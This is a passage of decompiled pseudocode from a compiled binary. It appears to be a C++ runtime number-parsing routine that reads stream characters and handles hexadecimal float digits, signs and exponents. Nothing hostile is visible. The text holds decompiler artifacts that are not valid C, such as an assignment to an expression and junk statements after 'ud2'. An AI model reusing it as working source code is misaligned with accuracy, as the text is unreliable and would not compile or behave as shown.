						_t958 = _t956 -  &_v32 >> 1;
						if(_t958 > 0x15) {
							__eflags = _a72 - 0xf;
							_t960 =  <=  ? _t1086 : _a48;
							__eflags =  *((char*)(_t960 + _t1092));
							if( *((char*)(_t960 + _t1092)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1101 = _a64;
										__eflags = _t1101 - 0xfffffffe;
										if(_t1101 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t833, "string too long", _t1044, _t1060);
											asm("ud2");
											_t1062 = _t833;
											_t838 = _a72;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t964 = _a48;
												__eflags = _t838 + 1 - 0x1000;
												if(_t838 + 1 >= 0x1000) {
													_t964 =  *((intOrPtr*)(_t964 - 8));
												}
												_t489 = E00402090(_t489, _t964);
											}
											_t839 = _v56;
											__eflags = _t839 - 0x10;
											if(_t839 >= 0x10) {
												_t963 = _v80;
												_t839 = _t839 + 1;
												__eflags = _t839 - 0x1000;
												if(_t839 >= 0x1000) {
													_t963 =  *((intOrPtr*)(_t963 - 8));
												}
												_t489 = E00402090(_t489, _t963);
											}
											E0044CEA0(_t489, _t1062);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t839 =  *_t839 + 0x64;
											_t413 = _t839 - 0x6f6f6f70;
											 *_t413 =  *(_t839 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1064);
											return 0x64;
										} else {
											_t1102 = _t1101 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1102);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t969 =  <=  ? _t1086 : _a48;
												 *((char*)(( <=  ? _t1086 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t848 =  <=  ? _t1086 : _a48;
												__eflags = _t848;
												_a64 = _t1102;
												 *((char*)(_t848 + _t1102)) = 0;
											}
											_t1092 = _t1092 + 1;
											goto L209;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L206:
									_t970 = _a112;
									 *_t970 =  *((intOrPtr*)(_t958 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t970 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t958;
									if(_t958 != 0) {
										goto L206;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t851 =  <=  ? _t1086 : _a48;
							_t531 =  *(_t851 + _t1092);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t851 + _t1092) = _t531;
							}
							L209:
							_t966 =  *_t883;
							if(_t966 == 0) {
								L192:
								 *_t883 = 0;
								_t424 = 1;
								 *(_t883 + 8) = 1;
							} else {
								_t844 =  *((intOrPtr*)(_t966 + 0x38));
								_t1029 =  *_t844;
								if(_t1029 == 0) {
									L213:
									_t496 =  *((intOrPtr*)( *_t966 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t966 + 0x50));
									_t593 =  *_t1044;
									if(_t593 <= 0) {
										goto L213;
									} else {
										 *_t1044 = _t593 - 1;
										_t183 =  &(_t1029[1]); // 0x3
										 *_t844 = _t183;
										_t496 =  *_t1029 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L192;
								} else {
									_t424 = 0;
									 *(_t883 + 8) = 0;
								}
							}
							continue;
						}
						goto L531;
					}
					__eflags = _t1092;
					if(_t1092 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L257;
					} else {
						__eflags = _a72 - 0xf;
						_t837 =  <=  ? _t1086 : _a48;
						_t553 =  *((intOrPtr*)(_t837 + _t1092));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L257:
							_t834 = _a72;
						} else {
							_t424 = _t547;
							_t1096 = _t1092 + _t837;
							__eflags = _t1096;
							if(_t1096 == 0) {
								goto L257;
							} else {
								_t834 = _a72;
								__eflags = _t834 - 0xf;
								_t1087 =  >  ? _a48 : _t1086;
								_t1055 = _v40;
								while(1) {
									_t548 =  *_t1055 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1096 - 1;
									_t554 =  *(_t1087 + _t1096 - 1) & 0x000000ff;
									if(_t1096 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L380;
										} else {
											goto L252;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L252:
											_t1096 = _t1096 - 1;
											__eflags =  *(_t1055 + 1);
											if( *(_t1055 + 1) > 0) {
												_t1055 = _t1055 + 1;
												__eflags = _t1055;
											}
											__eflags = _t1096;
											if(_t1096 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L380:
											sil = 1;
										}
									}
									goto L258;
								}
								_t592 = 0;
							}
						}
					}
					L258:
					__eflags = _t834 - 0x10;
					_t1094 = _a32;
					r12d = _a84;
					if(_t834 >= 0x10) {
						_t955 = _a48;
						__eflags = _t834 + 1 - 0x1000;
						if(_t834 + 1 >= 0x1000) {
							_t955 =  *((intOrPtr*)(_t955 - 8));
						}
						_t424 = E00402090(_t424, _t955);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L170:
						__eflags = r13d;
						if(r13d == 0) {
							_t820 = _a112;
							 *_t820 = 0x30;
							_t821 = _t820 + 1;
							__eflags = _t821;
							_a112 = _t821;
						}
						goto L172;
					} else {
						L172:
						_t902 =  *_t883;
						_t570 = 0;
						__eflags = _t902;
						_t561 = 0;
						r15d = r12d;
						if(_t902 != 0) {
							_t818 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t818;
							if(_t818 == 0) {
								L176:
								_t479 =  *((intOrPtr*)( *_t902 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L176;
								} else {
									_t479 =  *_t818 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t903 =  *_a96;
						__eflags = _t903;
						if(_t903 != 0) {
							_t815 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
							__eflags = _t815;
							if(_t815 == 0) {
								L182:
								_t478 =  *((intOrPtr*)( *_t903 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t903 + 0x50));
								if( *( *(_t903 + 0x50)) <= 0) {
									goto L182;
								} else {
									_t478 =  *_t815 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L275:
							__eflags = r13d;
							if(r13d == 0) {
								goto L285;
							}
						} else {
							__eflags =  *(_t883 + 8);
							_t1052 = _v48;
							if( *(_t883 + 8) == 0) {
								_t946 =  *_t883;
								__eflags = _t946;
								if(_t946 == 0) {
									L267:
									 *_t883 = 0;
								} else {
									_t812 =  *((intOrPtr*)( *((intOrPtr*)(_t946 + 0x38))));
									__eflags = _t812;
									if(_t812 == 0) {
										L264:
										_t477 =  *((intOrPtr*)( *_t946 + 0x38))();
									} else {
										__eflags =  *( *(_t946 + 0x50));
										if( *( *(_t946 + 0x50)) <= 0) {
											goto L264;
										} else {
											_t477 =  *_t812 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L267;
									} else {
										 *(_t883 + 0xa) = _t477;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t807 =  *_t1052;
							_t424 =  *((intOrPtr*)(_t807 + 0x20))();
							__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t883 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L275;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t807));
								_t944 =  *_t883;
								__eflags = _t944;
								r12d = r15d;
								if(_t944 == 0) {
									L280:
									 *_t883 = 0;
									_t424 = 1;
								} else {
									_t809 =  *((intOrPtr*)(_t944 + 0x38));
									_t1016 =  *_t809;
									__eflags = _t1016;
									if(_t1016 == 0) {
										L277:
										_t475 =  *((intOrPtr*)( *_t944 + 0x40))();
										r12d = r15d;
									} else {
										_t1053 =  *((intOrPtr*)(_t944 + 0x50));
										_t588 =  *_t1053;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L277;
										} else {
											 *_t1053 = _t588 - 1;
											 *_t809 =  &(_t1016[1]);
											_t475 =  *_t1016 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L280;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t883 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L285:
										_t937 =  *_t883;
										_t584 = 0;
										__eflags = _t937;
										_t566 = 0;
										if(_t937 == 0) {
											goto L291;
										}
										_t797 =  *((intOrPtr*)( *((intOrPtr*)(_t937 + 0x38))));
										__eflags = _t797;
										if(_t797 == 0) {
											L289:
											_t470 =  *((intOrPtr*)( *_t937 + 0x38))();
										} else {
											__eflags =  *( *(_t937 + 0x50));
											if( *( *(_t937 + 0x50)) <= 0) {
												goto L289;
											} else {
												_t470 =  *_t797 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L291:
										_t938 =  *_a96;
										__eflags = _t938;
										if(_t938 != 0) {
											_t805 =  *((intOrPtr*)( *((intOrPtr*)(_t938 + 0x38))));
											__eflags = _t805;
											if(_t805 == 0) {
												L295:
												_t469 =  *((intOrPtr*)( *_t938 + 0x38))();
											} else {
												__eflags =  *( *(_t938 + 0x50));
												if( *( *(_t938 + 0x50)) <= 0) {
													goto L295;
												} else {
													_t469 =  *_t805 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t883 + 8);
											if( *(_t883 + 8) == 0) {
												_t941 =  *_t883;
												__eflags = _t941;
												if(_t941 == 0) {
													L306:
													 *_t883 = 0;
												} else {
													_t802 =  *((intOrPtr*)( *((intOrPtr*)(_t941 + 0x38))));
													__eflags = _t802;
													if(_t802 == 0) {
														L303:
														_t468 =  *((intOrPtr*)( *_t941 + 0x38))();
													} else {
														__eflags =  *( *(_t941 + 0x50));
														if( *( *(_t941 + 0x50)) <= 0) {
															goto L303;
														} else {
															_t468 =  *_t802 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L306;
													} else {
														 *(_t883 + 0xa) = _t468;
													}
												}
												 *(_t883 + 8) = 1;
											}
											_t424 =  *(_t883 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t883 + 0xa) & 0x0000ffff) == _v32) {
												_t939 =  *_t883;
												__eflags = _t939;
												if(_t939 == 0) {
													L316:
													 *_t883 = 0;
													_t467 = 1;
													goto L283;
												} else {
													_t799 =  *((intOrPtr*)(_t939 + 0x38));
													_t1012 =  *_t799;
													__eflags = _t1012;
													if(_t1012 == 0) {
														L313:
														_t471 =  *((intOrPtr*)( *_t939 + 0x40))();
													} else {
														_t1051 =  *((intOrPtr*)(_t939 + 0x50));
														_t585 =  *_t1051;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L313;
														} else {
															 *_t1051 = _t585 - 1;
															 *_t799 =  &(_t1012[1]);
															_t471 =  *_t1012 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L316;
													} else {
														_t467 = 0;
														L283:
														 *(_t883 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t794 = _a112;
											 *_t794 = 0x30;
											_a112 = _t794 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L320;
									}
								}
							}
						}
						L320:
						_t1083 =  &_v34;
						while(1) {
							L333:
							_t904 =  *_t883;
							_t571 = 0;
							__eflags = _t904;
							_t562 = 0;
							if(_t904 == 0) {
								goto L339;
							}
							_t783 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
							__eflags = _t783;
							if(_t783 == 0) {
								L337:
								_t466 =  *((intOrPtr*)( *_t904 + 0x38))();
							} else {
								__eflags =  *( *(_t904 + 0x50));
								if( *( *(_t904 + 0x50)) <= 0) {
									goto L337;
								} else {
									_t466 =  *_t783 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L339:
							_t905 =  *_a96;
							__eflags = _t905;
							if(_t905 != 0) {
								_t791 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
								__eflags = _t791;
								if(_t791 == 0) {
									L343:
									_t465 =  *((intOrPtr*)( *_t905 + 0x38))();
								} else {
									__eflags =  *( *(_t905 + 0x50));
									if( *( *(_t905 + 0x50)) <= 0) {
										goto L343;
									} else {
										_t465 =  *_t791 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t936 =  *_t883;
									__eflags = _t936;
									if(_t936 == 0) {
										L354:
										 *_t883 = 0;
									} else {
										_t788 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
										__eflags = _t788;
										if(_t788 == 0) {
											L351:
											_t424 =  *((intOrPtr*)( *_t936 + 0x38))();
										} else {
											__eflags =  *( *(_t936 + 0x50));
											if( *( *(_t936 + 0x50)) <= 0) {
												goto L351;
											} else {
												_t424 =  *_t788 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L354;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t541 =  *(_t883 + 0xa) & 0x0000ffff;
								_t779 = _t1083;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t779 + 2) & 0x0000ffff;
									_t779 = _t779 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L516:
									__eflags = r10b & 0x00000001;
									_t1074 =  ==  ? _t1094 : _t1073;
									__eflags = _a88;
									_t1075 =  !=  ? _t1094 :  ==  ? _t1094 : _t1073;
									 *((char*)( !=  ? _t1094 :  ==  ? _t1094 : _t1073)) = 0;
									 *_a232 = r9d;
									_t726 = _v56;
									__eflags = _t726 - 0x10;
									if(_t726 >= 0x10) {
										_t908 = _v80;
										__eflags = _t726 + 1 - 0x1000;
										if(_t726 + 1 >= 0x1000) {
											_t908 =  *((intOrPtr*)(_t908 - 8));
										}
										E00402090(_t424, _t908);
									}
									__eflags = 0;
									return 0;
									goto L531;
								}
								_t781 = _t779 -  &_v32 >> 1;
								__eflags = _t781 - 0x15;
								if(_t781 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t934 = _a112;
										 *_t934 =  *((intOrPtr*)(_t781 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t934 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t931 =  *_t883;
									__eflags = _t931;
									if(_t931 == 0) {
										L331:
										 *_t883 = 0;
										_t461 = 1;
									} else {
										_t785 =  *((intOrPtr*)(_t931 + 0x38));
										_t1008 =  *_t785;
										__eflags = _t1008;
										if(_t1008 == 0) {
											L328:
											_t462 =  *((intOrPtr*)( *_t931 + 0x40))();
										} else {
											_t1050 =  *((intOrPtr*)(_t931 + 0x50));
											_t582 =  *_t1050;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L328;
											} else {
												 *_t1050 = _t582 - 1;
												 *_t785 =  &(_t1008[1]);
												_t462 =  *_t1008 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L331;
										} else {
											_t461 = 0;
										}
									}
									 *(_t883 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t906 =  *_t883;
								_t572 = 0;
								__eflags = _t906;
								_t563 = 0;
								_t1073 = _a112;
								r9d = r15d;
								if(_t906 != 0) {
									_t777 =  *((intOrPtr*)( *((intOrPtr*)(_t906 + 0x38))));
									__eflags = _t777;
									if(_t777 == 0) {
										L366:
										_t460 =  *((intOrPtr*)( *_t906 + 0x38))();
										_t1073 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t906 + 0x50));
										if( *( *(_t906 + 0x50)) <= 0) {
											goto L366;
										} else {
											_t460 =  *_t777 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t907 =  *_a96;
								__eflags = _t907;
								if(_t907 != 0) {
									_t774 =  *((intOrPtr*)( *((intOrPtr*)(_t907 + 0x38))));
									__eflags = _t774;
									if(_t774 == 0) {
										L372:
										_t459 =  *((intOrPtr*)( *_t907 + 0x38))();
										_t1073 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t907 + 0x50));
										if( *( *(_t907 + 0x50)) <= 0) {
											goto L372;
										} else {
											_t459 =  *_t774 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t883 + 8);
									if( *(_t883 + 8) == 0) {
										_t929 =  *_t883;
										__eflags = _t929;
										if(_t929 == 0) {
											L384:
											 *_t883 = 0;
										} else {
											_t771 =  *((intOrPtr*)( *((intOrPtr*)(_t929 + 0x38))));
											__eflags = _t771;
											if(_t771 == 0) {
												L381:
												_t458 =  *((intOrPtr*)( *_t929 + 0x38))();
												_t1073 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t929 + 0x50));
												if( *( *(_t929 + 0x50)) <= 0) {
													goto L381;
												} else {
													_t458 =  *_t771 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L384;
											} else {
												 *(_t883 + 0xa) = _t458;
											}
										}
										 *(_t883 + 8) = 1;
									}
									_t424 =  *(_t883 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L388:
										 *_t1073 = 0x70;
										_t909 =  *_t883;
										__eflags = _t909;
										if(_t909 == 0) {
											L398:
											 *_t883 = 0;
											 *(_t883 + 8) = 1;
											goto L399;
										} else {
											_t765 =  *((intOrPtr*)(_t909 + 0x38));
											_t1003 =  *_t765;
											__eflags = _t1003;
											if(_t1003 == 0) {
												L392:
												_t454 =  *((intOrPtr*)( *_t909 + 0x40))();
												_t1073 = _a112;
											} else {
												_t1049 =  *((intOrPtr*)(_t909 + 0x50));
												_t580 =  *_t1049;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L392;
												} else {
													 *_t1049 = _t580 - 1;
													 *_t765 =  &(_t1003[1]);
													_t454 =  *_t1003 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L398;
											} else {
												_t927 =  *_t883;
												 *(_t883 + 8) = 0;
												__eflags = _t927;
												if(_t927 == 0) {
													L399:
													_t573 = 0;
												} else {
													_t768 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
													__eflags = _t768;
													if(_t768 == 0) {
														L400:
														_t456 =  *((intOrPtr*)( *_t927 + 0x38))();
														_t1073 = _a112;
													} else {
														__eflags =  *( *(_t927 + 0x50));
														if( *( *(_t927 + 0x50)) <= 0) {
															goto L400;
														} else {
															_t456 =  *_t768 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t910 =  *_a96;
										__eflags = _t910;
										if(_t910 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t763 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
											__eflags = _t763;
											if(_t763 == 0) {
												L406:
												_t452 =  *((intOrPtr*)( *_t910 + 0x38))();
												_t1073 = _a112;
											} else {
												__eflags =  *( *(_t910 + 0x50));
												if( *( *(_t910 + 0x50)) <= 0) {
													goto L406;
												} else {
													_t452 =  *_t763 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1085 = _t1073 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t883 + 8);
											if( *(_t883 + 8) == 0) {
												_t926 =  *_t883;
												__eflags = _t926;
												if(_t926 == 0) {
													L418:
													 *_t883 = 0;
												} else {
													_t760 =  *((intOrPtr*)( *((intOrPtr*)(_t926 + 0x38))));
													__eflags = _t760;
													if(_t760 == 0) {
														L415:
														_t451 =  *((intOrPtr*)( *_t926 + 0x38))();
														_t1073 = _a112;
													} else {
														__eflags =  *( *(_t926 + 0x50));
														if( *( *(_t926 + 0x50)) <= 0) {
															goto L415;
														} else {
															_t451 =  *_t760 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L418;
													} else {
														 *(_t883 + 0xa) = _t451;
													}
												}
												 *(_t883 + 8) = 1;
											}
											_t447 =  *(_t883 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
													 *((char*)(_t1073 + 1)) = 0x2d;
													_t923 =  *_t883;
													__eflags = _t923;
													if(_t923 == 0) {
														goto L434;
													} else {
														_t756 =  *((intOrPtr*)(_t923 + 0x38));
														_t1000 =  *_t756;
														__eflags = _t1000;
														if(_t1000 == 0) {
															L430:
															_t449 =  *((intOrPtr*)( *_t923 + 0x40))();
															goto L431;
														} else {
															_t1048 =  *((intOrPtr*)(_t923 + 0x50));
															_t578 =  *_t1048;
															__eflags = _t578;
															if(_t578 <= 0) {
																goto L430;
															} else {
																goto L429;
															}
														}
														goto L432;
													}
													goto L435;
												}
											} else {
												 *((char*)(_t1073 + 1)) = 0x2b;
												_t925 =  *_t883;
												__eflags = _t925;
												if(_t925 == 0) {
													L434:
													 *_t883 = 0;
													_t448 = 1;
												} else {
													_t756 =  *((intOrPtr*)(_t925 + 0x38));
													_t1000 =  *_t756;
													__eflags = _t1000;
													if(_t1000 == 0) {
														L424:
														_t449 =  *((intOrPtr*)( *_t925 + 0x40))();
														L431:
														_t1073 = _a112;
													} else {
														_t1048 =  *((intOrPtr*)(_t925 + 0x50));
														_t578 =  *_t1048;
														__eflags = _t578;
														if(_t578 > 0) {
															L429:
															 *_t1048 = _t578 - 1;
															 *_t756 =  &(_t1000[1]);
															_t449 =  *_t1000 & 0x0000ffff;
														} else {
															goto L424;
														}
													}
													L432:
													__eflags = (_t449 & 0x0000ffff) - 0xffff;
													if((_t449 & 0x0000ffff) == 0xffff) {
														goto L434;
													} else {
														_t448 = 0;
													}
												}
												L435:
												_t1076 = _t1073 + 2;
												__eflags = _t1076;
												 *(_t883 + 8) = _t448;
												_t1085 = _t1076;
											}
										}
										while(1) {
											_t911 =  *_t883;
											__eflags = _t911;
											_t574 = 0;
											if(_t911 == 0) {
												goto L445;
											}
											_t746 =  *((intOrPtr*)( *((intOrPtr*)(_t911 + 0x38))));
											__eflags = _t746;
											if(_t746 == 0) {
												L443:
												_t443 =  *((intOrPtr*)( *_t911 + 0x38))();
											} else {
												__eflags =  *( *(_t911 + 0x50));
												if( *( *(_t911 + 0x50)) <= 0) {
													goto L443;
												} else {
													_t443 =  *_t746 & 0x0000ffff;
												}
											}
											_t574 = 0;
											__eflags = (_t443 & 0x0000ffff) - 0xffff;
											sil = (_t443 & 0x0000ffff) != 0xffff;
											__eflags = sil;
											L445:
											_t912 =  *_a96;
											__eflags = _t912;
											if(_t912 == 0) {
												__eflags = _t574;
												if(_t574 != 0) {
													goto L451;
												} else {
												}
											} else {
												_t754 =  *((intOrPtr*)( *((intOrPtr*)(_t912 + 0x38))));
												__eflags = _t754;
												if(_t754 == 0) {
													L449:
													_t439 =  *((intOrPtr*)( *_t912 + 0x38))();
												} else {
													__eflags =  *( *(_t912 + 0x50));
													if( *( *(_t912 + 0x50)) <= 0) {
														goto L449;
													} else {
														_t439 =  *_t754 & 0x0000ffff;
													}
												}
												(_t439 & 0x0000ffff) - 0xffff = _t574 - ((_t439 & 0x0000ffff) != 0xffff);
												if(_t574 != (_t439 & 0x0000ffff) != 0xffff) {
													L451:
													__eflags =  *(_t883 + 8);
													if( *(_t883 + 8) == 0) {
														_t922 =  *_t883;
														__eflags = _t922;
														if(_t922 == 0) {
															L461:
															 *_t883 = 0;
														} else {
															_t751 =  *((intOrPtr*)( *((intOrPtr*)(_t922 + 0x38))));
															__eflags = _t751;
															if(_t751 == 0) {
																L458:
																_t442 =  *((intOrPtr*)( *_t922 + 0x38))();
															} else {
																__eflags =  *( *(_t922 + 0x50));
																if( *( *(_t922 + 0x50)) <= 0) {
																	goto L458;
																} else {
																	_t442 =  *_t751 & 0x0000ffff;
																}
															}
															__eflags = (_t442 & 0x0000ffff) - 0xffff;
															if((_t442 & 0x0000ffff) == 0xffff) {
																goto L461;
															} else {
																 *(_t883 + 0xa) = _t442;
															}
														}
														 *(_t883 + 8) = 1;
													}
													__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _v32;
													if(( *(_t883 + 0xa) & 0x0000ffff) == _v32) {
														_t920 =  *_t883;
														__eflags = _t920;
														if(_t920 == 0) {
															L471:
															 *_t883 = 0;
															_t438 = 1;
															goto L437;
														} else {
															_t748 =  *((intOrPtr*)(_t920 + 0x38));
															_t996 =  *_t748;
															__eflags = _t996;
															if(_t996 == 0) {
																L468:
																_t445 =  *((intOrPtr*)( *_t920 + 0x40))();
															} else {
																_t1047 =  *((intOrPtr*)(_t920 + 0x50));
																_t576 =  *_t1047;
																__eflags = _t576;
																if(_t576 <= 0) {
																	goto L468;
																} else {
																	 *_t1047 = _t576 - 1;
																	 *_t748 =  &(_t996[1]);
																	_t445 =  *_t996 & 0x0000ffff;
																}
															}
															__eflags = (_t445 & 0x0000ffff) - 0xffff;
															if((_t445 & 0x0000ffff) == 0xffff) {
																goto L471;
															} else {
																_t438 = 0;
																L437:
																 *(_t883 + 8) = _t438;
																dil = 1;
																continue;
															}
															while(1) {
																L487:
																_t913 =  *_t883;
																__eflags = _t913;
																_t565 = 0;
																if(_t913 == 0) {
																	goto L493;
																}
																_t735 =  *((intOrPtr*)( *((intOrPtr*)(_t913 + 0x38))));
																__eflags = _t735;
																if(_t735 == 0) {
																	L491:
																	_t436 =  *((intOrPtr*)( *_t913 + 0x38))();
																} else {
																	__eflags =  *( *(_t913 + 0x50));
																	if( *( *(_t913 + 0x50)) <= 0) {
																		goto L491;
																	} else {
																		_t436 =  *_t735 & 0x0000ffff;
																	}
																}
																_t565 = 0;
																__eflags = (_t436 & 0x0000ffff) - 0xffff;
																dil = (_t436 & 0x0000ffff) != 0xffff;
																__eflags = dil;
																L493:
																_t914 =  *_a96;
																__eflags = _t914;
																if(_t914 == 0) {
																	_t424 = 0;
																	__eflags = _t565;
																	if(_t565 != 0) {
																		goto L499;
																	} else {
																	}
																} else {
																	_t743 =  *((intOrPtr*)( *((intOrPtr*)(_t914 + 0x38))));
